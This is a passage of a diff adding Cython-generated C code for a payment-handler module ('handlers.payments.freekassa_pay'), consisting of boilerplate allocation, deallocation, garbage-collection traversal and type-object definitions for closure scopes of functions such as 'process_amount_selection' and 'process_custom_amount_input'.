__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct_3_process_callback_pay_freekassa", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct_3_process_callback_pay_freekassa", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_user_email); + Py_CLEAR(p->__pyx_v_user_ip); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_user_ip) { + e = (*v)(p->__pyx_v_user_ip, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct_4_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct_4_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)o; + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct_5_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct_5_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_keyboard); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_user_email); + Py_CLEAR(p->__pyx_v_user_ip); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int 